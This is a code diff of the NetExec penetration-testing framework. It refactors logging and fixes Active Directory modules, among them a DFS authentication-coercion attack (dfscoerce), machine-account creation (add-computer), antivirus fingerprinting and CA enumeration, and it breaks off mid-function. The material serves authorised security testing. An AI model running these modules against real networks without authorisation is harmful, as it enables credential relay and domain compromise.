+# Original from here: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
+
+import struct
+
+from impacket import ntlm
+from impacket.smb3 import WIN_VERSIONS
+import contextlib
+
+
+def parse_challenge(challange):
+    target_info = {
+        "hostname": None,
+        "domain": None,
+        "os_version": None
+    }
+    challange = ntlm.NTLMAuthChallenge(challange)
+    av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
+    if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
+        with contextlib.suppress(Exception):
+            target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
+    if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
+        with contextlib.suppress(Exception):
+            target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
+    if "Version" in challange.fields:
+        version = challange["Version"]
+        if len(version) >= 4:
+            major_version = version[0]
+            minor_version = version[1]
+            product_build = struct.unpack("<H", version[2:4])[0]
+            if product_build in WIN_VERSIONS:
+                target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
+            else:
+                target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
+    return target_info

nxc/loaders/moduleloader.py

@@ -24,6 +24,9 @@ class ModuleLoader:
         if not hasattr(module, "name"):
             self.logger.fail(f"{module_path} missing the name variable")
             module_error = True
+        elif hasattr(module, "name") and module.name != module_path.split("/")[-1].split("\\")[-1][:-3]:
+            self.logger.fail(f"{module_path} filename must match the module name {module.name}")
+            module_error = True
         elif not hasattr(module, "description"):
             self.logger.fail(f"{module_path} missing the description variable")
             module_error = True
@@ -92,7 +95,7 @@ class ModuleLoader:
             module_spec = spec.loader.load_module().NXCModule
 
             module = {
-                f"{module_spec.name.lower()}": {
+                f"{module_spec.name}": {
                     "path": module_path,
                     "description": module_spec.description,
                     "options": module_spec.options.__doc__,

nxc/logger.py

@@ -4,12 +4,79 @@ from logging.handlers import RotatingFileHandler
 import os.path
 import sys
 import re
-from nxc.helpers.misc import called_from_cmd_args
 from nxc.console import nxc_console
 from termcolor import colored
 from datetime import datetime
 from rich.text import Text
 from rich.logging import RichHandler
+import functools
+import inspect
+import argparse
+
+
+def parse_debug_args():
+    debug_parser = argparse.ArgumentParser(add_help=False)
+    debug_parser.add_argument("--debug", action="store_true")
+    debug_parser.add_argument("--verbose", action="store_true")
+    args, _ = debug_parser.parse_known_args()
+    return args
+
+def setup_debug_logging():
+    debug_args = parse_debug_args()
+    root_logger = logging.getLogger("root")
+    
+    if debug_args.verbose:
+        nxc_logger.logger.setLevel(logging.INFO)
+        root_logger.setLevel(logging.INFO)
+    elif debug_args.debug:
+        nxc_logger.logger.setLevel(logging.DEBUG)
+        root_logger.setLevel(logging.INFO)
+    else:
+        nxc_logger.logger.setLevel(logging.ERROR)
+        root_logger.setLevel(logging.ERROR)
+        
+
+def create_temp_logger(caller_frame, formatted_text, args, kwargs):
+    """Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
+    temp_logger = logging.getLogger("temp")
+    formatter = logging.Formatter("%(message)s", datefmt="[%X]")
+    handler = SmartDebugRichHandler(formatter=formatter)
+    handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, kwargs, caller_frame=caller_frame))
+
+
+class SmartDebugRichHandler(RichHandler):
+    """Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
+    def __init__(self, formatter=None, *args, **kwargs):
+        super().__init__(*args, **kwargs)
+        if formatter is not None:
+            self.setFormatter(formatter)
+            
+    def emit(self, record):
+        """Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
+        # for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging
+        record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text
+        
+        if hasattr(record, "caller_frame"):
+            frame_info = inspect.getframeinfo(record.caller_frame)
+            record.pathname = frame_info.filename
+            record.lineno = frame_info.lineno
+        super().emit(record)
+
+def no_debug(func):
+    """Stops logging non-debug messages when we are in debug mode
+    It creates a temporary logger and logs the message to the console and file
+    This is so we don't get both normal output AND debugging output, AND so we get the proper log calling file & line number
+    """
+    @functools.wraps(func)
+    def wrapper(self, msg, *args, **kwargs):
+        if self.logger.getEffectiveLevel() >= logging.INFO:
+            return func(self, msg, *args, **kwargs)
+        else:            
+            formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
+            caller_frame = inspect.currentframe().f_back
+            create_temp_logger(caller_frame, formatted_text, args, kwargs)
+            self.log_console_to_file(formatted_text, *args, **kwargs)
+    return wrapper
 
 
 class NXCAdapter(logging.LoggerAdapter):
@@ -17,21 +84,21 @@ class NXCAdapter(logging.LoggerAdapter):
         logging.basicConfig(
             format="%(message)s",
             datefmt="[%X]",
-            handlers=[
-                RichHandler(
-                    console=nxc_console,
-                    rich_tracebacks=True,
-                    tracebacks_show_locals=False,
-                )
-            ],
+            handlers=[RichHandler(
+                console=nxc_console,
+                rich_tracebacks=True,
+                tracebacks_show_locals=False
+            )],
         )
         self.logger = logging.getLogger("nxc")
         self.extra = extra
         self.output_file = None
-
+        
+        logging.getLogger("impacket").disabled = True
         logging.getLogger("pypykatz").disabled = True
         logging.getLogger("minidump").disabled = True
         logging.getLogger("lsassy").disabled = True
+        logging.getLogger("neo4j").setLevel(logging.ERROR)
 
     def format(self, msg, *args, **kwargs):  # noqa: A003
         """Format msg for output
@@ -41,77 +108,49 @@ class NXCAdapter(logging.LoggerAdapter):
         if self.extra is None:
             return f"{msg}", kwargs
 
-        if "module_name" in self.extra and len(self.extra["module_name"]) > 8:
+        if "module_name" in self.extra and len(self.extra["module_name"]) > 11:
             self.extra["module_name"] = self.extra["module_name"][:8] + "..."
 
         # If the logger is being called when hooking the 'options' module function
         if len(self.extra) == 1 and ("module_name" in self.extra):
-            return (
-                f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}",
-                kwargs,
-            )
+            return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs)
 
         # If the logger is being called from nxcServer
         if len(self.extra) == 2 and ("module_name" in self.extra) and ("host" in self.extra):
-            return (
-                f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}",
-                kwargs,
-            )
+            return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", kwargs)
 
         # If the logger is being called from a protocol
         module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
 
-        return (
-            f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}",
-            kwargs,
-        )
+        return (f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs)
 
+    @no_debug
     def display(self, msg, *args, **kwargs):
         """Display text to console, formatted for nxc"""
-        try:
-            if self.extra and "protocol" in self.extra and not called_from_cmd_args():
-                return
-        except AttributeError:
-            pass
-
         msg, kwargs = self.format(f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs)
         text = Text.from_ansi(msg)
         nxc_console.print(text, *args, **kwargs)
         self.log_console_to_file(text, *args, **kwargs)
 
+    @no_debug
     def success(self, msg, color="green", *args, **kwargs):
-        """Print some sort of success to the user"""
-        try:
-            if self.extra and "protocol" in self.extra and not called_from_cmd_args():
-                return
-        except AttributeError:
-            pass
-
+        """Prints some sort of success to the user"""
         msg, kwargs = self.format(f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs)
         text = Text.from_ansi(msg)
         nxc_console.print(text, *args, **kwargs)
         self.log_console_to_file(text, *args, **kwargs)
 
+    @no_debug
     def highlight(self, msg, *args, **kwargs):
         """Prints a completely yellow highlighted message to the user"""
-        try:
-            if self.extra and "protocol" in self.extra and not called_from_cmd_args():
-                return
-        except AttributeError:
-            pass
-
         msg, kwargs = self.format(f"{colored(msg, 'yellow', attrs=['bold'])}", kwargs)
         text = Text.from_ansi(msg)
         nxc_console.print(text, *args, **kwargs)
         self.log_console_to_file(text, *args, **kwargs)
 
+    @no_debug
     def fail(self, msg, color="red", *args, **kwargs):
         """Prints a failure (may or may not be an error) - e.g. login creds didn't work"""
-        try:
-            if self.extra and "protocol" in self.extra and not called_from_cmd_args():
-                return
-        except AttributeError:
-            pass
         msg, kwargs = self.format(f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs)
         text = Text.from_ansi(msg)
         nxc_console.print(text, *args, **kwargs)
@@ -123,26 +162,12 @@ class NXCAdapter(logging.LoggerAdapter):
         If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
         so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
         """
-        if self.logger.getEffectiveLevel() >= logging.INFO:
-            # will be 0 if it's just the console output, so only do this if we actually have file loggers
-            if len(self.logger.handlers):
-                try:
-                    for handler in self.logger.handlers:
-                        handler.handle(
-                            LogRecord(
-                                "nxc",
-                                20,
-                                "",
-                                kwargs,
-                                msg=text,
-                                args=args,
-                                exc_info=None,
-                            )
-                        )
-                except Exception as e:
-                    self.logger.fail(f"Issue while trying to custom print handler: {e}")
-        else:
-            self.logger.info(text)
+        if self.logger.getEffectiveLevel() >= logging.INFO and len(self.logger.handlers):  # will be 0 if it's just the console output, so only do this if we actually have file loggers
+            try:
+                for handler in self.logger.handlers:
+                    handler.handle(LogRecord("nxc", 20, "", kwargs, msg=text, args=args, exc_info=None))
+            except Exception as e:
+                self.logger.fail(f"Issue while trying to custom print handler: {e}")
 
     def add_file_log(self, log_file=None):
         file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
@@ -176,7 +201,7 @@ class NXCAdapter(logging.LoggerAdapter):
             datetime.now().strftime("%Y-%m-%d"),
             f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
         )
-
+    
 
 class TermEscapeCodeFormatter(logging.Formatter):
     """A class to strip the escape codes for logging to files"""

nxc/modules/adcs.py

@@ -27,7 +27,6 @@ class NXCModule:
         SERVER             PKI Enrollment Server to enumerate templates for. Default is None, use CN name
         BASE_DN            The base domain name for the LDAP query
         """
-        self.context = context
         self.regex = re.compile("(https?://.+)")
 
         self.server = None
@@ -39,6 +38,7 @@ class NXCModule:
 
     def on_login(self, context, connection):
         """On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
+        self.context = context
         if self.server is None:
             search_filter = "(objectClass=pKIEnrollmentService)"
         else:

nxc/modules/add-computer.py

@@ -1,8 +1,8 @@
 import ssl
 import ldap3
-from impacket.dcerpc.v5 import samr, epm, transport
 import sys
-
+from impacket.dcerpc.v5 import samr, epm, transport
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
 
 class NXCModule:
     """
@@ -41,6 +41,7 @@ class NXCModule:
 
         if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
             context.log.error("NAME  and PASSWORD options are required!")
+            sys.exit(1)
         elif "CHANGEPW" in module_options:
             self.__noAdd = True
 
@@ -61,11 +62,10 @@ class NXCModule:
     def on_login(self, context, connection):
         self.__domain = connection.domain
         self.__domainNetbios = connection.domain
-        self.__kdcHost = connection.hostname + "." + connection.domain
-        self.__target = self.__kdcHost
+        self.__kdcHost = connection.kdcHost
         self.__username = connection.username
         self.__password = connection.password
-        self.__targetIp = connection.host
+        self.__host = connection.host
         self.__port = context.smb_server_port
         self.__aesKey = context.aesKey
         self.__hashes = context.hash
@@ -87,8 +87,7 @@ class NXCModule:
         # If SAMR fails now try over LDAPS
         if not self.noLDAPRequired:
             self.do_ldaps_add(connection, context)
-        else:
-            sys.exit(1)
+            
 
     def do_samr_add(self, context):
         """
@@ -102,15 +101,10 @@ class NXCModule:
         -------
             None
         """
-        target = self.__targetIp or self.__target
-        string_binding = epm.hept_map(target, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
+        string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
 
-        rpc_transport = transport.DCERPCTransportFactory(string_binding)
-        rpc_transport.set_dport(self.__port)
-
-        if self.__targetIp is not None:
-            rpc_transport.setRemoteHost(self.__targetIp)
-            rpc_transport.setRemoteName(self.__target)
+        rpc_transport = transport.DCERPCTransportFactory(string_binding.replace(self.__host, self.__kdcHost))
+        rpc_transport.sethost(self.__host)
 
         if hasattr(rpc_transport, "set_credentials"):
             # This method exists only for selected protocol sequences.
@@ -119,10 +113,13 @@ class NXCModule:
         rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
 
         dce = rpc_transport.get_dce_rpc()
+        if self.__doKerberos:
+            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+
         dce.connect()
         dce.bind(samr.MSRPC_UUID_SAMR)
 
-        samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__target}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
+        samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
         serv_handle = samr_connect_response["ServerHandle"]
 
         samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
@@ -178,7 +175,6 @@ class NXCModule:
                     samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
                     self.noLDAPRequired = True
                     context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
-                    sys.exit(1)
                 except samr.DCERPCSessionError as e:
                     if e.error_code != 0xC0000073:
                         raise

nxc/modules/daclread.py

@@ -65,7 +65,7 @@ WELL_KNOWN_SIDS = {
     "S-1-5-64-14": "SChannel Authentication",
     "S-1-5-64-21": "Digest Authority",
     "S-1-5-80": "NT Service",
-    "S-1-5-83-0": "NT VIRTUAL MACHINE\Virtual Machines",
+    "S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
     "S-1-16-0": "Untrusted Mandatory Level",
     "S-1-16-4096": "Low Mandatory Level",
     "S-1-16-8192": "Medium Mandatory Level",
@@ -74,24 +74,24 @@ WELL_KNOWN_SIDS = {
     "S-1-16-16384": "System Mandatory Level",
     "S-1-16-20480": "Protected Process Mandatory Level",
     "S-1-16-28672": "Secure Process Mandatory Level",
-    "S-1-5-32-554": "BUILTIN\Pre-Windows 2000 Compatible Access",
-    "S-1-5-32-555": "BUILTIN\Remote Desktop Users",
-    "S-1-5-32-557": "BUILTIN\Incoming Forest Trust Builders",
+    "S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
+    "S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
+    "S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
     "S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
-    "S-1-5-32-558": "BUILTIN\Performance Monitor Users",
-    "S-1-5-32-559": "BUILTIN\Performance Log Users",
-    "S-1-5-32-560": "BUILTIN\Windows Authorization Access Group",
-    "S-1-5-32-561": "BUILTIN\Terminal Server License Servers",
-    "S-1-5-32-562": "BUILTIN\Distributed COM Users",
-    "S-1-5-32-569": "BUILTIN\Cryptographic Operators",
-    "S-1-5-32-573": "BUILTIN\Event Log Readers",
-    "S-1-5-32-574": "BUILTIN\Certificate Service DCOM Access",
-    "S-1-5-32-575": "BUILTIN\RDS Remote Access Servers",
-    "S-1-5-32-576": "BUILTIN\RDS Endpoint Servers",
-    "S-1-5-32-577": "BUILTIN\RDS Management Servers",
-    "S-1-5-32-578": "BUILTIN\Hyper-V Administrators",
-    "S-1-5-32-579": "BUILTIN\Access Control Assistance Operators",
-    "S-1-5-32-580": "BUILTIN\Remote Management Users",
+    "S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
+    "S-1-5-32-559": "BUILTIN\\Performance Log Users",
+    "S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
+    "S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
+    "S-1-5-32-562": "BUILTIN\\Distributed COM Users",
+    "S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
+    "S-1-5-32-573": "BUILTIN\\Event Log Readers",
+    "S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
+    "S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
+    "S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
+    "S-1-5-32-577": "BUILTIN\\RDS Management Servers",
+    "S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
+    "S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
+    "S-1-5-32-580": "BUILTIN\\Remote Management Users",
 }
 
 
@@ -221,8 +221,6 @@ class NXCModule:
 
         Based on the work of @_nwodtuhs and @BlWasp_.
         """
-        self.context = context
-
         context.log.debug(f"module_options: {module_options}")
 
         if not module_options:
@@ -273,6 +271,7 @@ class NXCModule:
         self.filename = None
 
     def on_login(self, context, connection):
+        self.context = context
         """On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
         context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
         self.baseDN = connection.ldapConnection._baseDN
@@ -516,6 +515,8 @@ class NXCModule:
         # If a principal has been specified, only the ACE where he is the trustee will be printed
         for parsed_ace in parsed_dacl:
             print_ace = True
+            context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
+
             # Filter on specific rights
             if self.rights is not None:
                 try:
@@ -528,7 +529,7 @@ class NXCModule:
                     if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
                         print_ace = False
                 except Exception as e:
-                    context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
+                    context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
 
             # Filter on specific right GUID
             if self.rights_guid is not None:
@@ -536,7 +537,7 @@ class NXCModule:
                     if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
                         print_ace = False
                 except Exception as e:
-                    context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
+                    context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
 
             # Filter on ACE type
             if self.ace_type == "allowed":
@@ -544,13 +545,13 @@ class NXCModule:
                     if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
                         print_ace = False
                 except Exception as e:
-                    context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
+                    context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
             else:
                 try:
                     if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
                         print_ace = False
                 except Exception as e:
-                    context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
+                    context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
 
             # Filter on trusted principal
             if self.principal_sid is not None:
@@ -558,7 +559,7 @@ class NXCModule:
                     if self.principal_sid not in parsed_ace["Trustee (SID)"]:
                         print_ace = False
                 except Exception as e:
-                    context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
+                    context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
             if print_ace:
                 self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
                 self.print_parsed_ace(parsed_ace)

nxc/modules/dfscoerce.py

@@ -2,7 +2,7 @@ from impacket import system_errors
 from impacket.dcerpc.v5 import transport
 from impacket.dcerpc.v5.ndr import NDRCALL
 from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
-from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
 from impacket.uuid import uuidtup_to_bin
 from nxc.logger import nxc_logger
 
@@ -33,9 +33,9 @@ class NXCModule:
             domain=connection.domain,
             lmhash=connection.lmhash,
             nthash=connection.nthash,
-            target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
+            target=connection.host,
             doKerberos=connection.kerberos,
-            dcHost=connection.kdcHost,
+            kdcHost=connection.kdcHost,
             aesKey=connection.aesKey,
         )
 
@@ -95,8 +95,9 @@ class NetrDfsAddRootResponse(NDRCALL):
 
 
 class TriggerAuth:
-    def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
+    def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, kdcHost):
         rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
+        rpctransport.setRemoteHost(target)
         if hasattr(rpctransport, "set_credentials"):
             rpctransport.set_credentials(
                 username=username,
@@ -108,11 +109,12 @@ class TriggerAuth:
             )
 
         if doKerberos:
-            rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
-        # if target:
+            rpctransport.set_kerberos(doKerberos, kdcHost)
 
-        rpctransport.setRemoteHost(target)
         dce = rpctransport.get_dce_rpc()
+        if doKerberos:
+            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+
         nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
         try:
             dce.connect()
@@ -134,8 +136,7 @@ class TriggerAuth:
             request["ServerName"] = f"{listener}\x00"
             request["RootShare"] = "test\x00"
             request["ApiFlags"] = 1
-            if self.args.verbose:
-                nxc_logger.debug(request.dump())
+            nxc_logger.debug(request.dump())
             dce.request(request)
 
         except Exception as e:

nxc/modules/enum_av.py

@@ -5,6 +5,7 @@
 
 from impacket.dcerpc.v5 import lsat, lsad, transport
 from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
 import pathlib
 
 
@@ -35,7 +36,7 @@ class NXCModule:
         results = self._detect_installed_services(context, connection, target)
         self.detect_running_processes(context, connection, results)
 
-        self.dump_results(results, connection.hostname, context)
+        self.dump_results(results, context)
 
     def _get_target(self, connection):
         return connection.host if not connection.kerberos else f"{connection.hostname}.{connection.domain}"
@@ -50,7 +51,8 @@ class NXCModule:
                 password=connection.password,
                 remote_name=target,
                 do_kerberos=connection.kerberos,
-                kdcHost=connection.domain,
+                remoteHost=connection.host,
+                kdcHost=connection.kdcHost,
                 lmhash=connection.lmhash,
                 nthash=connection.nthash,
                 aesKey=connection.aesKey
@@ -58,18 +60,16 @@ class NXCModule:
 
             dce, _ = lsa.connect()
             policyHandle = lsa.open_policy(dce)
-            try:
-                for product in conf["products"]:
-                    for service in product["services"]:
+            for product in conf["products"]:
+                for service in product["services"]:
+                    try:
                         lsa.LsarLookupNames(dce, policyHandle, service["name"])
                         context.log.info(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
                         results.setdefault(product["name"], {"services": []})["services"].append(service)
-            except Exception:
-                pass
-
+                    except Exception:
+                        pass
         except Exception as e:
             context.log.fail(str(e))
-
         return results
 
     def detect_running_processes(self, context, connection, results):
@@ -80,13 +80,16 @@ class NXCModule:
                 for product in conf["products"]:
                     for pipe in product["pipes"]:
                         if pathlib.PurePath(fl).match(pipe["name"]):
-                            context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
+                            context.log.info(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
                             prod_results = results.setdefault(product["name"], {})
                             prod_results.setdefault("pipes", []).append(pipe)
         except Exception as e:
-            context.log.debug(str(e))
+            if "STATUS_ACCESS_DENIED" in str(e):
+                context.log.fail("Error STATUS_ACCESS_DENIED while enumerating pipes, probably due to using SMBv1")
+            else:
+                context.log.fail(str(e))
 
-    def dump_results(self, results, remoteName, context):
+    def dump_results(self, results, context):
         if not results:
             context.log.highlight("Found NOTHING!")
             return
@@ -119,6 +122,7 @@ class LsaLookupNames:
         password="",
         remote_name="",
         do_kerberos=False,
+        remoteHost="",
         kdcHost="",
         lmhash="",
         nthash="",
@@ -133,7 +137,8 @@ class LsaLookupNames:
         self.lmhash = lmhash
         self.nthash = nthash
         self.aesKey = aesKey
-        self.dcHost = kdcHost
+        self.kdcHost = kdcHost
+        self.remoteHost = remoteHost
 
     def connect(self, string_binding=None, iface_uuid=None):
         """Obtains a RPC Transport and a DCE interface according to the bindings and
@@ -146,6 +151,7 @@ class LsaLookupNames:
             raise NotImplementedError("String binding must be defined")
 
         rpc_transport = transport.DCERPCTransportFactory(string_binding)
+        rpc_transport.setRemoteHost(self.remoteHost)
 
         # Set timeout if defined
         if self.timeout:
@@ -157,14 +163,13 @@ class LsaLookupNames:
             rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
 
         if self.doKerberos:
-            rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.dcHost)
+            rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
 
         # Gets the DCE RPC object
         dce = rpc_transport.get_dce_rpc()
 
-        # Set the authentication level
-        if self.authn_level:
-            dce.set_auth_level(self.authn_level)
+        if self.doKerberos:
+            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
 
         # Connect
         dce.connect()
@@ -261,7 +266,10 @@ conf = {
                 {"name": "epfw", "description": "ESET"},
                 {"name": "epfwlwf", "description": "ESET"},
                 {"name": "epfwwfp", "description": "ESET"},
-                {"name": "EraAgentSvc", "description": "ESET"},
+                {"name": "EraAgentSvc", "description": "ESET Management Agent service"},
+                {"name": "ERAAgent", "description": "ESET Management Agent service"},
+                {"name": "efwd", "description": "ESET Communication Forwarding Service"},
+                {"name": "ehttpsrv", "description": "ESET HTTP Server"},
             ],
             "pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
         },

nxc/modules/enum_ca.py

@@ -0,0 +1,109 @@
+from impacket.dcerpc.v5 import transport, epm
+from impacket.http import AUTH_NTLM
+from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
+    RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
+    RPC_PROXY_RPC_OUT_DATA_404_ERR
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
+from impacket import uuid
+import requests
+
+
+class NXCModule:
+    """
+    -------
+    Module by @0xjbb, original code from Impacket rpcdump.py
+    """
+    KNOWN_PROTOCOLS = {
+        135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
+        139: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
+        443: {"bindstr": r"ncacn_http:[593,RpcProxy=%s:443]"},
+        445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
+        593: {"bindstr": r"ncacn_http:%s"}
+    }
+
+    name = "enum_ca"
+    description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
+    supported_protocols = ["smb"]  # Example: ['smb', 'mssql']
+    opsec_safe = True  # Does the module touch disk?
+    multiple_hosts = True  # Does it make sense to run this module on multiple hosts at a time?
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+
+    def options(self, context, module_options):
+        pass
+
+    def on_login(self, context, connection):
+        self.__username = connection.username
+        self.__password = connection.password
+        self.__domain = connection.domain
+        self.__lmhash = ""
+        self.__nthash = ""
+        self.__port = 135.
+        self.__stringbinding = ""
+
+        if context.hash and ":" in context.hash[0]:
+            hashList = context.hash[0].split(":")
+            self.__nthash = hashList[-1]
+            self.__lmhash = hashList[0]
+        elif context.hash and ":" not in context.hash[0]:
+            self.__nthash = context.hash[0]
+            self.__lmhash = "00000000000000000000000000000000"
+
+        self.__stringbinding = self.KNOWN_PROTOCOLS[self.__port]["bindstr"] % connection.host
+        context.log.debug(f"StringBinding {self.__stringbinding}")
+
+        rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
+
+        if self.__port in [139, 445]:
+            # Setting credentials for SMB
+            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
+            rpctransport.setRemoteHost(connection.host)
+            rpctransport.set_dport(self.__port)
+        elif self.__port in [443]:
+            # Setting credentials only for RPC Proxy, but not for the MSRPC level
+            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
+            rpctransport.set_auth_type(AUTH_NTLM)
+        else:
+            rpctransport.setRemoteHost(connection.host)
+
+        try:
+            entries = self.__fetchList(connection.kerberos, rpctransport)
+        except Exception as e:
+            error_text = f"Protocol failed: {e}"
+            context.log.fail(error_text)
+
+            if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \
+               RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \
+               RPC_PROXY_CONN_A1_404_ERR in error_text or \
+               RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
